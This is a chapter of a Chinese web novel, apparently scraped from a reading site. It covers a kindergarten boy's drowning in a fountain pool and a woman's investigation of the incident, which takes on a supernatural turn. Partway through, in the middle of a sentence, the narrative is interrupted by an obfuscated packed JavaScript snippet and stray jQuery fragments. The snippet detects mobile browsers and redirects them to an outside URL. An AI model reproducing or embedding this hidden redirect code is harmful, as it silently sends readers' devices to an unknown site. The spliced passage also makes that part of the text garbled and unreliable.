默认冷灰
24号文字
方正启体

27. 逢魔时。

作者:奶思兔柚本书字数:K更新时间:
    警察又指了指门口:“还有,你们不是说这院子是锁着的吗?那个锁链是被什么东西弄断的?这可不是一个五岁小孩能做到的事。”


    空气忽然安静了下来。赵若楠死死咬着下唇,那张妆容精致的脸上终于出现了一丝裂痕。


    警察不再搭理她,扭头皱着眉喊:“是谁负责通知家长的?家长还没到吗?”


    带班老师从人群中怯怯上前,脸上带着为难,声音很轻:“许家乐的家长目前在国外,联系不上。他家里的情况有点特殊……”


    小月亮这才知道,许家乐昨天为什么那么想要跟自己回家,又为什么在哥哥说要联系家长后,害怕得扭头就跑。


    原来他父母很早就离异了,妈妈不要他,爸爸也组建了新的家庭,住在很远很远的国外,平常照顾他的只有保姆。昨天保姆没接到人,以为这孩子又像往常一样不想回家,偷偷藏在了幼儿园里哪个角落。


    他总是做这种事,想引起大人的注意,但也总是会在消失一段时间后自己乖乖地回家——他也没别的地方可去。


    保姆也没细找,自顾自走了。


    “这孩子也可怜。”带班老师微微侧开脸,不敢看地上那团小小的、再也不会动的身影,“家里保姆只管他吃穿,别的什么都不管。学校里,小朋友见他没爸没妈,也不跟他玩,有些坏孩子还会故意欺负他,抢他的画笔,笑他是没人要的野孩子,他也不还手……我问过他为什么,他说‘还手了就要叫家长,我没有家长可以叫’……”


    她捂住嘴巴,眼泪夺眶而出,“我制止过的,可是……有时候我也管不住那么多……”


    小孩子有时候会有一种天真的残忍,像一群凭借本能行事的蚂蚁,会下意识排斥那个最不一样的同伴。


    小月亮这才知道,原来家乐哥哥是这么孤单的小孩。


    孤单到昨天放学时,不知道鼓起了多大的勇气,才敢对刚认识的朋友说:我可以跟你回家吗?


    却又因为朋友的哥哥说要找他家长,吓得跑掉了。


    警察封锁了这个院子,林星意抱着失魂落魄的小月亮回了家。一路上,小月亮把脸埋在他肩窝里,没有闹,只是偶尔发出一两声细弱的抽噎,手里死死攥着那颗没能送出去的草莓棒棒糖。


    一出电梯,他就看见姬珩和姬且宁姨甥俩已经等在电梯厅里了。


    姬珩几步迎上来,一叠声地问:“怎么哭成这样啊?吓坏了吧?”


    小月亮从林星意怀里探出头,看见姬珩,眼泪吧嗒吧嗒地掉下来,像终于找到妈妈的小狗狗,终于可以放心地大哭,“哥哥!家乐哥哥他……”


    她红着小鼻子,抽抽搭搭地把事情讲了一遍。


    姬珩蹲下来,轻轻给她擦眼泪,“没事的,就像之前我们在密室逃脱里见到的先辈一样,他们都是去了一个更好的地方,说不定现在就在一起聊起你呢。”


    他摸摸小月亮的脑袋,“哭了这么久累不累啊?要不要吃点东西补充体力?我给你热了牛奶……”


    姬珩把小月亮哄进了餐厅,姬且宁看了眼,确定姬珩关好了门,这才轻声问林星意,“意外?人为?还是……”


    林星意摇摇头,“不知道。”他顿了顿,有些犹豫,“……要查吗?”


    “当然啊。”姬且宁有些奇怪地看了他一眼,仿佛不明白他为什么能问出这样的问题。


    “可你……和赵董之间的交情……”林星意吞吞吐吐的,他就是顾虑这个。


    “谈不上什么交情。”姬且宁神情自若,“只是小时候都读过艾因幼儿园,两家也有些来往罢了。”


    “只是幼儿园同学?那你能轻轻松松把小月亮送进艾因?”林星意有些傻眼,他一直以为这里面藏着什么深厚的人情往来。


    姬且宁笑了,笑容里带着一丝说不清道不明的意味,“我姬家没倒,她赵家也还在。都在一个圈子里混的,彼此给个面子而已。一个幼儿园插班名额,还是她自家旗下的幼儿园,举手之劳换我个人情,她划算得很。”


    她又看了眼紧闭的餐厅大门,眼底写满了担忧,“这事儿蹊跷。等过几天小月亮缓过来了,我陪她一起去幼儿园,看能不能发现些什么。”


    小月亮比他们想象中的要坚强,事发后的第三天,就背好了鸭鸭包,说要去上学。


    林星意有点惊讶,“确定不再休息几天吗?老师都能理解的。”


    小月亮摇摇头,顶着一双小桃子一样红红肿肿的眼睛,小声说:“也许我还能见到家乐哥哥呢……我想去陪陪他。”


    一路上她都没怎么说话,手里还是攥着那根草莓棒棒糖。


    进了艾因幼儿园,姬且宁牵着小月亮径直走向那扇铁门。门口的警戒线已经去掉了,取而代之的是重重铁锁和站岗的保安,看她们过来,慌忙拦截,“这位家长,这院子不让进的。”


    院子里雅雀无声,小月亮探头看了看,问:“警察叔叔呢?这事不查了吗?”


    保安见她们知道这事,挠了挠头,“警方前天就撤了。查了一圈,确实没什么人为的痕迹,家长也不愿意追究,定性为意外……”


    他叹了口气,“唉,也不知道这家长怎么想的,孩子没了都不来看一眼,后事都是叫秘书处理的。赵董吩咐了,院子先封着,怕锁子不牢靠,让我们在这里轮班值守,不能让任何人进去。”


    他左右张望了下,低声说:“我跟你们说,这事邪门儿!那么粗的锁子,怎么能莫名其妙的坏了?还刚好有孩子跑进去,在那么浅的水里……唉,不说了,你俩也别好奇心太重。好端端的日子,别给自己找晦气。”


    “没办法啊,这就是我的工作。”姬且宁笑了一下,“我不是家长,我就是赵若楠请来处理这件事的专家。”


    保安愣了一下,上下打量她。姬且宁一袭精致合体的云锦旗袍,足下三寸高跟鞋衬得她婀娜多姿,怎么看都不像电视里那种降妖伏魔的英叔。保安犹豫着说:“这


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17540014|203523||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    个……我没接到通知……”


    姬且宁也不废话,掏出手机拨了个号。电话接通得很快,她对着话筒说:“对,我到了……嗯,你跟他讲。”


    她把手机递过去,保安将信将疑地接过去,刚“喂”了一声,脸色就变了。电话那头的声音不大,但隔着老远都能听出那股不容置疑的气势。


    保安连说了三个“好”,双手把手机还回来,态度比刚才恭敬了十倍不止,“您稍等,我这就给您开门。”


    铁锁哗啦啦地落下,院门吱呀一声被推开。


    这是小月亮第二次走进这个院子了,上一次是上学路上的新奇探险,这一次,却是阴阳两隔的故地重游。


    院子里的杂物被清走了很多,喷泉池还在,水面平静得没有一丝涟漪,依旧清澈透亮,照着天上灰蒙蒙的云。


    “家乐哥哥!你在哪儿?出来呀——”小月亮忽然喊了起来,声音在空旷的院子里打着转儿,“我是小月亮,你的朋友小月亮!你不是说要跟我回家吗?我带你回家,你出来呀……”


    没有回应。连风都不肯应她。


    小月亮攥着棒棒糖的手慢慢垂了下来,眼眶又红了,鼻尖也红红的,却拼命忍着不哭,小胸脯一抽一抽的。那股倔劲儿让人心里发酸。


    姬且宁把她往身边拢了拢。


    “什么都没有吗?”她轻声问。


    “什么都没有……”小月亮瘪着嘴,有点忿忿地瞪着那池子,好像这样瞪着,家乐哥哥就会从水里冒出来似的。


    姬且宁打量那座喷泉池。池沿不高,只到成年人膝盖的位置,但对于一个四岁的孩子来说,如果没有人帮忙,要翻进去也绝非易事。警方说没有人为痕迹,那就是认定了这孩子是自己爬进去的。


    可一个四岁的孩子,为什么要爬进一座废弃的喷泉池里?


    姬且宁突然像是发现了什么,走近了细看。喷泉池在事发后应该是被抽干了水,又浇筑了一层水泥。但那厚厚的水泥不知何时已经再一次豁裂开了,池子里的水应该也都是那裂口里喷涌出来的。水波荡漾,裂口也荡漾,像一个沉默而充满恶意的笑容。


    “有人不让这座喷泉池被填平……”她喃喃自语,又问小月亮,“你那个朋友是几点出事的?”


    小月亮吸了吸鼻子,“法医阿姨说是六点。”


    六点。


    姬且宁的目光重新落回那道狰狞的豁口上,“那可能是我们来的时间不对,所以这里没有东西。六点,逢魔之时。”


    话音未落,身后忽然传来一阵高跟鞋的声响,又脆又急。


    两人同时回头。


    赵若楠步步行来,逆着光,脸上的表情看不太清,但那挺直的脊背和迫人的气势,无一不透着一种山雨欲来的凌厉。她大步走过来,在姬且宁面前三步远的地方站定,眸光冷得像冰。


    “姬且宁,”她一字一顿地开口,“这么多年不见了,我竟不知道,你成了个什么专家?”
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)